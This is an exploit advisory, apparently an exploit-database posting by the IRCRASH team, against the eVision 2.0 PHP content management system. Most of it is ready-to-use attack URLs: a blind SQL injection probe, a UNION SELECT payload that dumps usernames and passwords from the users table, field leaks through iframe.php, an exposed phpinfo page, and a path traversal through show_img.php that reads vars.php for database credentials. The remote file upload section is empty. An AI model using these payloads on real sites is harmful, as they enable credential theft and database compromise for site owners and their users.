##################################################################################### #### eVision 2.0 Sql Injection/Remote File Disclosure/Remote File Upload/IG #### ##################################################################################### # # #AUTHOR : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) # #Discovered by : IRCRASH (R3d.W0rm (Sina Yazdanmehr)) # #Our Site : Http://IRCRASH.COM # #IRCRASH Team Members : Dr.Crash - R3d.w0rm (Sina Yazdanmehr) # ##################################################################################### # # #Script Download : http://mesh.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz # # #DORK : :( # # # ##################################################################################### # [Sql Injection] # # # #Blind : http://Site/print.php?id=1'+and+1=1/* # #http://Site/style.php?template=1&module='+union+select+concat_ws(0x7c,username,pass)+from+users/* #User : http://Site/iframe.php?field=username&module=users/* # #Pass : http://Site/iframe.php?field=pass&module=users/* # # [IG] # #http://Site/admin/phpinfo.php # # # # [Remote File Disclosure] # # # #http://Site/admin/show_img.php?type=text/plain&img=File # #Ex. http://Site/admin/show_img.php?type=text/plain&img=../vars.php [Get database user & pass] # # # [Remote File Upload] # #Exploit : # # # # # # # # # # # # # ##################################################################################### # Site : Http://IRCRASH.COM # ###################################### TNX GOD ######################################